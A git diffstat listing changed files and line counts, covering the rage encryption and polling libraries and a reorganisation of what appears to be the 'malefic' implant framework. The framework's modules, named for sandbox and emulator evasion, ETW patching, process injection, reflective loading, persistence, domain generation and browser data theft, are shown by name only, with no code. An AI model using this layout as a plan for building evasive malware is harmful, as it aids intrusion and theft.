lib/malio/polling/src/os/kqueue.rs | 304 + lib/malio/polling/src/poll.rs | 857 + lib/malio/polling/src/port.rs | 287 + .../polling/tests/concurrent_modification.rs | 131 + lib/malio/polling/tests/io.rs | 144 + lib/malio/polling/tests/many_connections.rs | 66 + lib/malio/polling/tests/multiple_pollers.rs | 358 + lib/malio/polling/tests/notify.rs | 38 + lib/malio/polling/tests/other_modes.rs | 273 + lib/malio/polling/tests/precision.rs | 72 + lib/malio/polling/tests/timeout.rs | 32 + lib/malio/polling/tests/windows_post.rs | 64 + lib/malio/polling/tests/windows_waitable.rs | 138 + lib/rage/.gitattributes | 2 + lib/rage/.github/ISSUE_TEMPLATE/bug-report.md | 21 + lib/rage/.github/ISSUE_TEMPLATE/ux-report.md | 21 + lib/rage/.github/dependabot.yml | 12 + lib/rage/.github/workflows/audit.yml | 18 + lib/rage/.github/workflows/audits.yml | 19 + lib/rage/.github/workflows/ci.yml | 115 + lib/rage/.github/workflows/criterion.yml | 27 + lib/rage/.github/workflows/interop.yml | 251 + lib/rage/.github/workflows/release.yml | 359 + lib/rage/.gitignore | 5 + lib/rage/Cargo.toml | 67 + lib/rage/LICENSE-APACHE | 202 + lib/rage/LICENSE-MIT | 21 + lib/rage/README.md | 206 + lib/rage/age-core/CHANGELOG.md | 125 + lib/rage/age-core/Cargo.toml | 41 + lib/rage/age-core/README.md | 24 + lib/rage/age-core/src/format.rs | 616 + lib/rage/age-core/src/io.rs | 69 + lib/rage/age-core/src/lib.rs | 20 + lib/rage/age-core/src/plugin.rs | 523 + lib/rage/age-core/src/primitives.rs | 68 + lib/rage/age-plugin/CHANGELOG.md | 64 + lib/rage/age-plugin/Cargo.toml | 27 + lib/rage/age-plugin/README.md | 178 + lib/rage/age-plugin/README.tpl | 20 + .../examples/age-plugin-unencrypted.rs | 219 + lib/rage/age-plugin/src/identity.rs | 370 + lib/rage/age-plugin/src/lib.rs | 346 + lib/rage/age-plugin/src/recipient.rs | 471 + lib/rage/age/CHANGELOG.md | 529 + lib/rage/age/Cargo.toml | 130 + lib/rage/age/README.md | 67 + lib/rage/age/assets/bip39-english.txt | 2048 + lib/rage/age/benches/parser.rs | 43 + lib/rage/age/benches/throughput.rs | 100 + lib/rage/age/i18n/en-US/age.ftl | 196 + lib/rage/age/i18n/es-AR/age.ftl | 108 + lib/rage/age/i18n/fr/age.ftl | 185 + lib/rage/age/i18n/it/age.ftl | 186 + lib/rage/age/i18n/ru/age.ftl | 187 + lib/rage/age/i18n/zh-CN/age.ftl | 102 + lib/rage/age/i18n/zh-TW/age.ftl | 102 + lib/rage/age/src/cli_common.rs | 219 + lib/rage/age/src/cli_common/error.rs | 124 + lib/rage/age/src/cli_common/file_io.rs | 474 + lib/rage/age/src/cli_common/identities.rs | 264 + lib/rage/age/src/cli_common/recipients.rs | 206 + lib/rage/age/src/encrypted.rs | 291 + lib/rage/age/src/error.rs | 449 + lib/rage/age/src/error_fmt.rs | 170 + lib/rage/age/src/format.rs | 442 + lib/rage/age/src/i18n.rs | 106 + lib/rage/age/src/identity.rs | 368 + lib/rage/age/src/keys.rs | 44 + lib/rage/age/src/lib.rs | 455 + lib/rage/age/src/plugin.rs | 800 + lib/rage/age/src/primitives.rs | 71 + lib/rage/age/src/primitives/armor.rs | 1526 + lib/rage/age/src/primitives/stream.rs | 1043 + lib/rage/age/src/protocol.rs | 589 + lib/rage/age/src/scrypt.rs | 271 + lib/rage/age/src/simple.rs | 107 + lib/rage/age/src/ssh.rs | 577 + lib/rage/age/src/ssh/identity.rs | 586 + lib/rage/age/src/ssh/recipient.rs | 310 + lib/rage/age/src/util.rs | 129 + lib/rage/age/src/x25519.rs | 291 + lib/rage/age/tests/test_vectors.rs | 65 + .../tests/testdata/empty_recipient_body.age | 6 + .../testdata/empty_recipient_body_key.txt | 7 + .../testdata/fail_large_filekey_scrypt.age | 6 + .../fail_large_filekey_scrypt_password.txt | 1 + .../testdata/fail_large_filekey_x25519.age | 6 + .../fail_large_filekey_x25519_key.txt | 3 + lib/rage/age/tests/testdata/testkit/armor | 13 + .../age/tests/testdata/testkit/armor_crlf | 14 + .../testdata/testkit/armor_empty_line_begin | 13 + .../testdata/testkit/armor_empty_line_end | 13 + .../testkit/armor_eol_between_padding | 13 + .../testdata/testkit/armor_full_last_line | 13 + .../testdata/testkit/armor_garbage_encoded | 1379 + .../testdata/testkit/armor_garbage_leading | 13 + .../testdata/testkit/armor_garbage_trailing | 13 + .../tests/testdata/testkit/armor_header_crlf | 13 + .../age/tests/testdata/testkit/armor_headers | 15 + .../testkit/armor_invalid_character_header | 12 + .../testkit/armor_invalid_character_payload | 12 + .../tests/testdata/testkit/armor_long_line | 8 + .../tests/testdata/testkit/armor_lowercase | 12 + .../tests/testdata/testkit/armor_no_end_line | 11 + .../age/tests/testdata/testkit/armor_no_eol | 14 + .../age/tests/testdata/testkit/armor_no_match | 12 + .../tests/testdata/testkit/armor_no_padding | 13 + .../testdata/testkit/armor_not_canonical | 13 + .../tests/testdata/testkit/armor_pgp_checksum | 14 + .../tests/testdata/testkit/armor_short_line | 12 + .../testdata/testkit/armor_whitespace_begin | 12 + .../testdata/testkit/armor_whitespace_end | 12 + .../testdata/testkit/armor_whitespace_eol | 12 + .../testkit/armor_whitespace_last_line | 12 + .../testkit/armor_whitespace_line_start | 12 + .../testdata/testkit/armor_whitespace_outside | 18 + .../tests/testdata/testkit/armor_wrong_type | 12 + .../age/tests/testdata/testkit/header_crlf | 10 + lib/rage/age/tests/testdata/testkit/hmac_bad | 9 + .../tests/testdata/testkit/hmac_extra_space | 9 + .../age/tests/testdata/testkit/hmac_garbage | 9 + .../age/tests/testdata/testkit/hmac_missing | 9 + .../age/tests/testdata/testkit/hmac_no_space | 9 + .../tests/testdata/testkit/hmac_not_canonical | 10 + .../testdata/testkit/hmac_trailing_space | 9 + .../age/tests/testdata/testkit/hmac_truncated | 9 + lib/rage/age/tests/testdata/testkit/scrypt | Bin 0 -> 340 bytes .../tests/testdata/testkit/scrypt_and_x25519 | 13 + .../age/tests/testdata/testkit/scrypt_bad_tag | Bin 0 -> 358 bytes .../age/tests/testdata/testkit/scrypt_double | 13 + .../testdata/testkit/scrypt_extra_argument | Bin 0 -> 335 bytes .../testdata/testkit/scrypt_long_file_key | Bin 0 -> 377 bytes .../tests/testdata/testkit/scrypt_no_match | Bin 0 -> 264 bytes .../testkit/scrypt_not_canonical_body | Bin 0 -> 332 bytes .../testkit/scrypt_not_canonical_salt | Bin 0 -> 273 bytes .../tests/testdata/testkit/scrypt_salt_long | Bin 0 -> 278 bytes .../testdata/testkit/scrypt_salt_missing | 9 + .../tests/testdata/testkit/scrypt_salt_short | Bin 0 -> 267 bytes .../tests/testdata/testkit/scrypt_uppercase | Bin 0 -> 267 bytes .../testdata/testkit/scrypt_work_factor_23 | 10 + .../testdata/testkit/scrypt_work_factor_hex | Bin 0 -> 274 bytes .../scrypt_work_factor_leading_garbage | Bin 0 -> 277 bytes .../testkit/scrypt_work_factor_leading_plus | Bin 0 -> 274 bytes .../scrypt_work_factor_leading_zero_decimal | Bin 0 -> 274 bytes .../scrypt_work_factor_leading_zero_octal | Bin 0 -> 274 bytes .../testkit/scrypt_work_factor_missing | Bin 0 -> 270 bytes .../testkit/scrypt_work_factor_negative | Bin 0 -> 274 bytes .../testkit/scrypt_work_factor_overflow | Bin 0 -> 290 bytes .../scrypt_work_factor_trailing_garbage | Bin 0 -> 277 bytes .../testdata/testkit/scrypt_work_factor_wrong | Bin 0 -> 267 bytes .../testdata/testkit/scrypt_work_factor_zero | Bin 0 -> 272 bytes .../tests/testdata/testkit/stanza_bad_start | 11 + .../testdata/testkit/stanza_base64_padding | 12 + .../testdata/testkit/stanza_empty_argument | 11 + .../tests/testdata/testkit/stanza_empty_body | 12 + .../testdata/testkit/stanza_empty_last_line | 14 + .../testdata/testkit/stanza_invalid_character | 11 + .../tests/testdata/testkit/stanza_long_line | 13 + .../testdata/testkit/stanza_missing_body | 11 + .../testkit/stanza_missing_final_line | 12 + .../testkit/stanza_multiple_short_lines | 13 + .../testdata/testkit/stanza_no_arguments | 11 + .../testdata/testkit/stanza_not_canonical | 12 + .../tests/testdata/testkit/stanza_spurious_cr | 11 + .../testdata/testkit/stanza_valid_characters | 14 + .../age/tests/testdata/testkit/stream_bad_tag | 10 + .../testkit/stream_bad_tag_second_chunk | Bin 0 -> 65982 bytes .../testkit/stream_bad_tag_second_chunk_full | Bin 0 -> 131515 bytes .../testdata/testkit/stream_empty_payload | 10 + .../testdata/testkit/stream_last_chunk_empty | Bin 0 -> 66052 bytes .../testdata/testkit/stream_last_chunk_full | Bin 0 -> 65955 bytes .../testkit/stream_last_chunk_full_second | Bin 0 -> 131507 bytes .../tests/testdata/testkit/stream_missing_tag | 10 + .../tests/testdata/testkit/stream_no_chunks | 10 + .../tests/testdata/testkit/stream_no_final | 11 + .../testdata/testkit/stream_no_final_full | Bin 0 -> 65963 bytes .../testkit/stream_no_final_two_chunks | Bin 0 -> 65982 bytes .../testkit/stream_no_final_two_chunks_full | Bin 0 -> 131515 bytes .../tests/testdata/testkit/stream_no_nonce | 8 + .../tests/testdata/testkit/stream_short_chunk | 10 + .../tests/testdata/testkit/stream_short_nonce | 9 + .../testkit/stream_short_second_chunk | Bin 0 -> 65975 bytes .../testdata/testkit/stream_three_chunks | Bin 0 -> 197059 bytes .../testkit/stream_trailing_garbage_long | Bin 0 -> 65983 bytes .../testkit/stream_trailing_garbage_short | Bin 0 -> 65975 bytes .../tests/testdata/testkit/stream_two_chunks | Bin 0 -> 131507 bytes .../testdata/testkit/stream_two_final_chunks | Bin 0 -> 65982 bytes .../testdata/testkit/version_unsupported | 9 + lib/rage/age/tests/testdata/testkit/x25519 | 10 + .../age/tests/testdata/testkit/x25519_bad_tag | 10 + .../testdata/testkit/x25519_extra_argument | 10 + .../age/tests/testdata/testkit/x25519_grease | 14 + .../tests/testdata/testkit/x25519_identity | 10 + .../testdata/testkit/x25519_long_file_key | 10 + .../tests/testdata/testkit/x25519_long_share | 10 + .../tests/testdata/testkit/x25519_low_order | 10 + .../tests/testdata/testkit/x25519_lowercase | 10 + .../testkit/x25519_multiple_recipients | 12 + .../tests/testdata/testkit/x25519_no_match | 9 + .../testkit/x25519_not_canonical_body | 10 + .../testkit/x25519_not_canonical_share | 10 + .../tests/testdata/testkit/x25519_short_share | 10 + lib/rage/age/tests/testkit.rs | 810 + lib/rage/docs/CONTRIBUTING.md | 47 + lib/rage/docs/debian.md | 13 + lib/rage/fuzz-afl/.gitignore | 3 + lib/rage/fuzz-afl/Cargo.lock | 1237 + lib/rage/fuzz-afl/Cargo.toml | 14 + lib/rage/fuzz-afl/src/main.rs | 8 + lib/rage/fuzz/.gitignore | 4 + lib/rage/fuzz/Cargo.lock | 1233 + lib/rage/fuzz/Cargo.toml | 42 + lib/rage/fuzz/fuzz_targets/age_stanza.rs | 16 + lib/rage/fuzz/fuzz_targets/decrypt.rs | 12 + .../fuzz/fuzz_targets/decrypt_buffered.rs | 12 + lib/rage/fuzz/fuzz_targets/header.rs | 6 + lib/rage/rage/CHANGELOG.md | 230 + lib/rage/rage/Cargo.toml | 159 + lib/rage/rage/build.rs | 468 + lib/rage/rage/i18n.toml | 4 + lib/rage/rage/i18n/en-US/rage.ftl | 500 + lib/rage/rage/i18n/es-AR/rage.ftl | 166 + lib/rage/rage/i18n/fr/rage.ftl | 505 + lib/rage/rage/i18n/it/rage.ftl | 214 + lib/rage/rage/i18n/ru/rage.ftl | 506 + lib/rage/rage/i18n/zh-CN/rage.ftl | 163 + lib/rage/rage/i18n/zh-TW/rage.ftl | 163 + lib/rage/rage/src/bin/rage-keygen/cli.rs | 48 + lib/rage/rage/src/bin/rage-keygen/error.rs | 52 + lib/rage/rage/src/bin/rage-keygen/main.rs | 86 + lib/rage/rage/src/bin/rage-mount/cli.rs | 61 + lib/rage/rage/src/bin/rage-mount/main.rs | 242 + lib/rage/rage/src/bin/rage-mount/tar.rs | 297 + lib/rage/rage/src/bin/rage-mount/zip.rs | 267 + lib/rage/rage/src/bin/rage/cli.rs | 163 + lib/rage/rage/src/bin/rage/error.rs | 242 + lib/rage/rage/src/bin/rage/i18n.rs | 31 + lib/rage/rage/src/bin/rage/main.rs | 421 + lib/rage/rage/tests/cli_tests.rs | 12 + .../gen-output-invalid-filename.toml | 10 + .../gen-output-missing-directory.toml | 10 + .../cmd/rage-keygen/gen-output.out/key.txt | 3 + .../tests/cmd/rage-keygen/gen-output.toml | 6 + .../tests/cmd/rage-keygen/gen-stdout.toml | 11 + lib/rage/rage/tests/cmd/rage-keygen/help.toml | 15 + .../rage/tests/cmd/rage-keygen/help_it.toml | 16 + .../rage/tests/cmd/rage-keygen/version.toml | 6 + lib/rage/rage/tests/cmd/rage-mount/help.toml | 17 + .../rage/tests/cmd/rage-mount/help_it.toml | 18 + .../rage/tests/cmd/rage-mount/version.toml | 6 + .../tests/cmd/rage/decrypt-armor-flag.toml | 12 + .../file.age.txt | 8 + .../decrypt-filein-fileout-long.in/key.txt | 3 + .../decrypt-filein-fileout-long.out/file.txt | 1 + .../cmd/rage/decrypt-filein-fileout-long.toml | 5 + .../file.age.txt | 8 + ...ecrypt-identity-no-comment-or-newline.toml | 7 + .../decrypt-identity-stdin.in/file.age.txt | 8 + .../cmd/rage/decrypt-identity-stdin.toml | 11 + .../file.age.txt | 8 + .../rage/decrypt-invalid-identity-chars.toml | 13 + .../decrypt-invalid-plugin-name-chars.toml | 12 + .../rage/decrypt-missing-identities-file.toml | 20 + .../cmd/rage/decrypt-missing-identities.toml | 21 + .../tests/cmd/rage/decrypt-missing-input.toml | 11 + .../file.age.txt | 8 + .../rage/decrypt-missing-stdin-identity.toml | 12 + .../key.txt | 3 + ...decrypt-mixed-identity-and-passphrase.toml | 20 + ...ecrypt-mixed-identity-and-plugin-name.toml | 11 + .../file.age.txt | 8 + .../decrypt-multiple-stdin-identities.toml | 15 + .../cmd/rage/decrypt-multiple-stdin.toml | 15 + .../cmd/rage/decrypt-passphrase-flag.toml | 12 + .../cmd/rage/decrypt-recipient-flag.toml | 12 + .../rage/decrypt-recipients-file-flag.toml | 12 + .../rage/decrypt-stdin-stdout-long.in/key.txt | 3 + .../cmd/rage/decrypt-stdin-stdout-long.toml | 16 + .../decrypt-stdin-stdout-short.in/key.txt | 3 + .../cmd/rage/decrypt-stdin-stdout-short.toml | 16 + .../key.age.txt | 8 + ...identity-encrypted-without-passphrase.toml | 11 + .../rage/encrypt-identity-stdin.in/file.txt | 1 + .../cmd/rage/encrypt-identity-stdin.toml | 13 + .../rage/encrypt-invalid-recipient-chars.toml | 11 + .../cmd/rage/encrypt-invalid-recipient.toml | 11 + .../recipients.txt | 1 + .../rage/encrypt-invalid-recipients-file.toml | 11 + .../rage/encrypt-missing-recipients-file.toml | 11 + .../cmd/rage/encrypt-missing-recipients.toml | 12 + ...encrypt-mixed-identity-and-passphrase.toml | 11 + ...ncrypt-mixed-recipient-and-passphrase.toml | 11 + ...-mixed-recipients-file-and-passphrase.toml | 11 + .../file.txt | 1 + .../encrypt-multiple-stdin-identities.toml | 15 + .../file.txt | 1 + ...-multiple-stdin-recipients-identities.toml | 11 + .../file.txt | 1 + .../encrypt-multiple-stdin-recipients.toml | 11 + .../cmd/rage/encrypt-multiple-stdin.toml | 13 + .../cmd/rage/encrypt-plugin-name-flag.toml | 11 + .../encrypt-recipients-file-stdin.in/file.txt | 1 + .../rage/encrypt-recipients-file-stdin.toml | 11 + lib/rage/rage/tests/cmd/rage/help.toml | 48 + lib/rage/rage/tests/cmd/rage/help_it.toml | 48 + .../cmd/rage/identity-flag-ambiguous.toml | 11 + .../cmd/rage/mixed-encrypt-and-decrypt.toml | 11 + .../rage/same-input-and-output.in/same.txt | 0 .../tests/cmd/rage/same-input-and-output.toml | 11 + lib/rage/rage/tests/cmd/rage/version.toml | 6 + ...rypt-passphrase-without-file-argument.toml | 16 + ...rypt-passphrase-without-file-argument.toml | 11 + lib/rage/supply-chain/audits.toml | 67 + lib/rage/supply-chain/config.toml | 902 + lib/rage/supply-chain/imports.lock | 3041 ++ lib/rage/tap_migrations.json | 3 + malefic-3rd-template/.gitignore | 3 + malefic-3rd-template/Cargo.lock | 1130 + malefic-3rd-template/Cargo.toml | 78 + malefic-3rd-template/README.md | 242 + malefic-3rd-template/malefic-3rd-c/Cargo.lock | 1097 + malefic-3rd-template/malefic-3rd-c/Cargo.toml | 16 + malefic-3rd-template/malefic-3rd-c/README.md | 100 + malefic-3rd-template/malefic-3rd-c/build.rs | 28 + .../malefic-3rd-c/src/c/example/example.c | 57 + .../src/c/malefic/module.options | 229 + .../malefic-3rd-c/src/c/malefic/module.pb.c | 249 + .../malefic-3rd-c/src/c/malefic/module.pb.h | 1857 + .../malefic-3rd-c/src/c/malefic/module.proto | 483 + .../malefic-3rd-c/src/c/module.c | 19 + .../malefic-3rd-c/src/c/module.h | 54 + .../malefic-3rd-c/src/c/nanopb/pb.h | 922 + .../malefic-3rd-c/src/c/nanopb/pb_common.c | 388 + .../malefic-3rd-c/src/c/nanopb/pb_common.h | 49 + .../malefic-3rd-c/src/c/nanopb/pb_decode.c | 1728 + .../malefic-3rd-c/src/c/nanopb/pb_decode.h | 204 + .../malefic-3rd-c/src/c/nanopb/pb_encode.c | 1001 + .../malefic-3rd-c/src/c/nanopb/pb_encode.h | 195 + malefic-3rd-template/malefic-3rd-c/src/lib.rs | 30 + .../malefic-3rd-ffi/Cargo.toml | 13 + .../malefic-3rd-ffi/src/lib.rs | 170 + .../malefic-3rd-go/Cargo.toml | 18 + malefic-3rd-template/malefic-3rd-go/README.md | 123 + malefic-3rd-template/malefic-3rd-go/build.rs | 65 + .../malefic-3rd-go/src/go/example/go.mod | 12 + .../malefic-3rd-go/src/go/example/go.sum | 14 + .../malefic-3rd-go/src/go/example/main.go | 52 + .../malefic-3rd-go/src/go/hackbrowser/go.mod | 40 + .../malefic-3rd-go/src/go/hackbrowser/go.sum | 111 + .../src/go/hackbrowser/hackbrowser.go | 117 + .../malefic-3rd-go/src/go/hackbrowser/main.go | 42 + .../malefic-3rd-go/src/go/malefic/bridge.go | 86 + .../malefic-3rd-go/src/go/malefic/go.mod | 7 + .../malefic-3rd-go/src/go/malefic/go.sum | 14 + .../malefic-3rd-go/src/go/malefic/module.go | 40 + .../src/go/malefic/module.pb.go | 42383 ++++++++++++++++ .../src/go/malefic/module.proto | 483 + .../malefic-3rd-go/src/lib.rs | 122 + .../malefic-3rd-nim/Cargo.toml | 16 + .../malefic-3rd-nim/README.md | 90 + malefic-3rd-template/malefic-3rd-nim/build.rs | 58 + .../malefic-3rd-nim/src/lib.rs | 34 + .../src/nim/example/example.nim | 75 + .../src/nim/malefic/module.options | 229 + .../src/nim/malefic/module.pb.c | 249 + .../src/nim/malefic/module.pb.h | 1857 + .../src/nim/malefic/module.proto | 483 + .../malefic-3rd-nim/src/nim/nanopb/pb.h | 922 + .../src/nim/nanopb/pb_common.c | 388 + .../src/nim/nanopb/pb_common.h | 49 + .../src/nim/nanopb/pb_decode.c | 1728 + .../src/nim/nanopb/pb_decode.h | 204 + .../src/nim/nanopb/pb_encode.c | 1001 + .../src/nim/nanopb/pb_encode.h | 195 + .../malefic-3rd-rust/Cargo.toml | 11 + .../malefic-3rd-rust/README.md | 61 + .../malefic-3rd-rust/src/lib.rs | 20 + .../malefic-3rd-zig/Cargo.toml | 16 + .../malefic-3rd-zig/README.md | 102 + malefic-3rd-template/malefic-3rd-zig/build.rs | 54 + .../malefic-3rd-zig/src/lib.rs | 30 + .../src/zig/example/example.zig | 60 + .../src/zig/malefic/module.options | 229 + .../src/zig/malefic/module.pb.c | 249 + .../src/zig/malefic/module.pb.h | 1857 + .../src/zig/malefic/module.proto | 483 + .../malefic-3rd-zig/src/zig/nanopb/pb.h | 922 + .../src/zig/nanopb/pb_common.c | 388 + .../src/zig/nanopb/pb_common.h | 49 + .../src/zig/nanopb/pb_decode.c | 1728 + .../src/zig/nanopb/pb_decode.h | 204 + .../src/zig/nanopb/pb_encode.c | 1001 + .../src/zig/nanopb/pb_encode.h | 195 + malefic-3rd-template/src/lib.rs | 161 + malefic-3rd/Cargo.toml | 35 +- malefic-3rd/src/curl/mod.rs | 36 +- malefic-3rd/src/hook/mod.rs | 119 - malefic-3rd/src/lib.rs | 23 +- malefic-3rd/src/prelude.rs | 17 +- malefic-3rd/src/pty/mod.rs | 992 +- malefic-3rd/src/rem/mod.rs | 26 +- malefic-3rd/tests/test_hook.rs | 93 - malefic-core/Cargo.toml | 60 - malefic-core/src/collector/mod.rs | 68 - malefic-core/src/common/error.rs | 61 - malefic-core/src/common/mod.rs | 83 - malefic-core/src/common/sys.rs | 91 - malefic-core/src/config/config.rs | 197 - malefic-core/src/config/mod.rs | 70 - malefic-core/src/dga/generator.rs | 114 - malefic-core/src/lib.rs | 17 - malefic-core/src/manager/manager.rs | 149 - malefic-core/src/transport/mod.rs | 504 - malefic-core/src/transport/proxie/utils.rs | 123 - malefic-core/src/transport/rem/mod.rs | 223 - malefic-core/src/transport/server_manager.rs | 263 - malefic-core/src/transport/tcp/tls.rs | 297 - malefic-crates/autorun/Cargo.toml | 21 + malefic-crates/autorun/README.md | 76 + malefic-crates/autorun/src/autorun.rs | 210 + malefic-crates/autorun/src/lib.rs | 62 + malefic-crates/codec/Cargo.toml | 41 + malefic-crates/codec/README.md | 92 + malefic-crates/codec/src/aes.rs | 90 + malefic-crates/codec/src/aes2.rs | 13 + malefic-crates/codec/src/base45.rs | 76 + malefic-crates/codec/src/base58.rs | 97 + malefic-crates/codec/src/base64.rs | 92 + malefic-crates/codec/src/chacha.rs | 45 + malefic-crates/codec/src/des.rs | 100 + malefic-crates/codec/src/ipv4.rs | 47 + malefic-crates/codec/src/lib.rs | 44 + malefic-crates/codec/src/mac.rs | 50 + malefic-crates/codec/src/rc4.rs | 53 + malefic-crates/codec/src/uuid.rs | 70 + malefic-crates/codec/src/xor.rs | 21 + malefic-crates/common/Cargo.toml | 35 + malefic-crates/common/README.md | 90 + malefic-crates/common/src/errors.rs | 271 + malefic-crates/common/src/getrandom_compat.rs | 17 + malefic-crates/common/src/lib.rs | 184 + malefic-crates/common/src/random.rs | 55 + malefic-crates/common/src/tinyserde.rs | 403 + .../common/src}/utils.rs | 18 +- malefic-crates/config/Cargo.toml | 14 + malefic-crates/config/README.md | 75 + malefic-crates/config/src/config.rs | 330 + malefic-crates/config/src/lib.rs | 123 + malefic-crates/config/src/runtime.rs | 915 + malefic-crates/cron/Cargo.toml | 9 + malefic-crates/cron/README.md | 76 + malefic-crates/cron/src/lib.rs | 78 + malefic-crates/crypto/Cargo.toml | 23 + malefic-crates/crypto/README.md | 83 + malefic-crates/crypto/src/compress/mod.rs | 16 + .../crypto}/src/crypto/aes.rs | 28 +- malefic-crates/crypto/src/crypto/age.rs | 192 + .../crypto}/src/crypto/chacha20.rs | 41 +- .../crypto}/src/crypto/mod.rs | 65 +- .../crypto}/src/crypto/xor.rs | 44 +- malefic-crates/crypto/src/lib.rs | 2 + malefic-crates/dga/Cargo.toml | 12 + malefic-crates/dga/README.md | 71 + .../dga/src}/algorithm.rs | 26 +- malefic-crates/dga/src/generator.rs | 112 + .../mod.rs => malefic-crates/dga/src/lib.rs | 58 +- malefic-crates/evader/Cargo.toml | 42 + malefic-crates/evader/src/anti_emu.rs | 292 + malefic-crates/evader/src/anti_forensic.rs | 93 + malefic-crates/evader/src/api_untangle.rs | 412 + malefic-crates/evader/src/cfg_patch.rs | 157 + malefic-crates/evader/src/etw_pass.rs | 238 + malefic-crates/evader/src/god_speed.rs | 130 + malefic-crates/evader/src/lib.rs | 122 + malefic-crates/evader/src/normal_api.rs | 162 + .../evader/src}/sandbox.rs | 197 +- malefic-crates/evader/src/sleep_encrypt.rs | 244 + malefic-crates/evader/src/types.rs | 243 + .../anti => malefic-crates/evader/src}/vm.rs | 77 +- malefic-crates/features/Cargo.toml | 36 + malefic-crates/features/src/lib.rs | 3 + malefic-crates/gateway/Cargo.toml | 18 + malefic-crates/gateway/src/lib.rs | 34 + malefic-crates/gateway/src/runtime.rs | 47 + malefic-crates/gateway/src/traits.rs | 19 + malefic-crates/guardrail/Cargo.toml | 9 + malefic-crates/guardrail/README.md | 70 + .../guardrail/src/lib.rs | 24 +- malefic-crates/loader/Cargo.toml | 33 + malefic-crates/loader/README.md | 97 + malefic-crates/loader/examples/test_inject.rs | 189 + malefic-crates/loader/src/hot_modules.rs | 121 + malefic-crates/loader/src/lib.rs | 7 + .../loader/src/linux}/memfd.rs | 38 +- .../loader/src/linux}/mod.rs | 2 +- malefic-crates/loader/src/linux/pthread.rs | 44 + .../loader/src/linux}/spawn.rs | 37 +- malefic-crates/loader/src/memory.rs | 186 + malefic-crates/loader/src/win/apc/mod.rs | 52 + .../loader/src/win}/fiber/mod.rs | 9 +- .../loader/src/win}/mod.rs | 6 +- .../loader/src/win}/thread/mod.rs | 8 +- malefic-crates/macro/Cargo.toml | 42 + malefic-crates/macro/README.md | 113 + malefic-crates/macro/src/lazy_static_impl.rs | 101 + malefic-crates/macro/src/lib.rs | 435 + malefic-crates/macro/src/obf/lazy_static.rs | 393 + malefic-crates/macro/src/obf/mod.rs | 6 + malefic-crates/macro/src/obf/obf_debug.rs | 156 + malefic-crates/macro/src/obf/util.rs | 327 + malefic-crates/manager/Cargo.toml | 24 + malefic-crates/manager/README.md | 70 + .../manager/src}/addons.rs | 52 +- .../manager/src}/internal.rs | 31 +- .../manager/src/lib.rs | 2 +- malefic-crates/manager/src/manager.rs | 353 + malefic-crates/module/Cargo.toml | 19 + malefic-crates/module/README.md | 92 + malefic-crates/module/src/abi.rs | 116 + malefic-crates/module/src/codec.rs | 30 + malefic-crates/module/src/ffi.rs | 176 + .../module/src/lib.rs | 97 +- .../module/src}/macro.rs | 3 +- malefic-crates/module/src/module_sdk.rs | 351 + malefic-crates/module/src/prelude.rs | 8 + malefic-crates/net/Cargo.toml | 23 + malefic-crates/net/README.md | 96 + .../net/src/darwin}/libproc_bindings.rs | 0 .../net/src/darwin}/mod.rs | 5 +- .../net/src/darwin}/socket.rs | 54 +- .../net/src/darwin}/sysctl.rs | 50 +- malefic-crates/net/src/lib.rs | 53 + .../net/src/linux}/mod.rs | 51 +- .../net/src/linux}/netlink.rs | 11 +- .../net/src/linux}/procfs.rs | 20 +- .../net/src/linux}/socket.rs | 5 +- .../net/src/win}/mod.rs | 0 malefic-crates/process/Cargo.toml | 32 + malefic-crates/process/README.md | 93 + .../process/src/darwin}/mod.rs | 197 +- .../process/src}/exec.rs | 15 +- .../process/src/lib.rs | 30 +- .../process/src/linux}/mod.rs | 61 +- .../process/src/win}/mod.rs | 98 +- malefic-crates/proto/Cargo.toml | 29 + malefic-crates/proto/README.md | 93 + malefic-crates/proto/build.rs | 83 + malefic-crates/proto/src/lib.rs | 585 + .../proto}/src/proto/mod.rs | 2 +- .../proto}/src/proto/modulepb.rs | 695 +- malefic-crates/rem/Cargo.toml | 16 + malefic-crates/rem/README.md | 74 + malefic-crates/rem/build.rs | 57 + malefic-crates/rem/csrc/rem_bridge.c | 145 + malefic-crates/rem/examples/test_dll.rs | 127 + .../mod.rs => malefic-crates/rem/src/lib.rs | 141 +- malefic-crates/rem/src/rem_dynamic.rs | 110 + .../rem/src}/rem_static.rs | 8 +- malefic-crates/runtime/Cargo.toml | 33 + malefic-crates/runtime/src/host.rs | 629 + malefic-crates/runtime/src/lib.rs | 25 + malefic-crates/scheduler/Cargo.toml | 19 + malefic-crates/scheduler/README.md | 104 + malefic-crates/scheduler/src/collector.rs | 282 + .../scheduler/src/lib.rs | 93 +- .../scheduler/src}/task.rs | 10 +- malefic-crates/srdi/Cargo.toml | 47 + malefic-crates/srdi/src/lib.rs | 15 + malefic-crates/srdi/src/loader.rs | 1119 + malefic-crates/srdi/src/main.rs | 26 + malefic-crates/srdi/src/types.rs | 210 + malefic-crates/srdi/src/utils.rs | 450 + malefic-crates/stub/Cargo.toml | 46 + malefic-crates/stub/src/channel.rs | 14 + malefic-crates/stub/src/composition.rs | 18 + malefic-crates/stub/src/lib.rs | 5 + malefic-crates/stub/src/meta.rs | 270 + malefic-crates/stub/src/stub.rs | 722 + malefic-crates/stub/src/sys.rs | 73 + malefic-crates/sysinfo/Cargo.toml | 39 + malefic-crates/sysinfo/README.md | 87 + .../sysinfo/src/darwin/domain.rs | 0 .../sysinfo/src/darwin/ipconfig.rs | 53 +- .../sysinfo}/src/darwin/mod.rs | 2 - .../sysinfo/src/darwin/whoami.rs | 0 .../sysinfo/src}/filesys.rs | 26 +- malefic-crates/sysinfo/src/lib.rs | 171 + .../sysinfo/src/linux/domain.rs | 3 +- .../sysinfo/src/linux/ipconfig.rs | 51 +- .../sysinfo}/src/linux/mod.rs | 3 - .../sysinfo/src/linux/whoami.rs | 0 malefic-crates/sysinfo/src/win/clr.rs | 3 + .../sysinfo/src/win/domain.rs | 20 +- .../sysinfo/src/win/driver.rs | 45 +- .../sysinfo/src/win/ipconfig.rs | 40 +- malefic-crates/sysinfo/src/win/mod.rs | 6 + .../sysinfo/src/win/whoami.rs | 2 +- malefic-crates/transport/Cargo.toml | 68 + malefic-crates/transport/README.md | 86 + malefic-crates/transport/src/connection.rs | 243 + .../transport/src}/http/mod.rs | 154 +- malefic-crates/transport/src/lib.rs | 158 + .../transport/src}/proxie/error.rs | 24 +- .../transport/src}/proxie/http.rs | 40 +- .../transport/src}/proxie/mod.rs | 4 +- .../transport/src}/proxie/proxy.rs | 67 +- .../transport/src}/proxie/socks5.rs | 82 +- .../transport/src}/proxie/target.rs | 26 +- malefic-crates/transport/src/proxie/utils.rs | 86 + 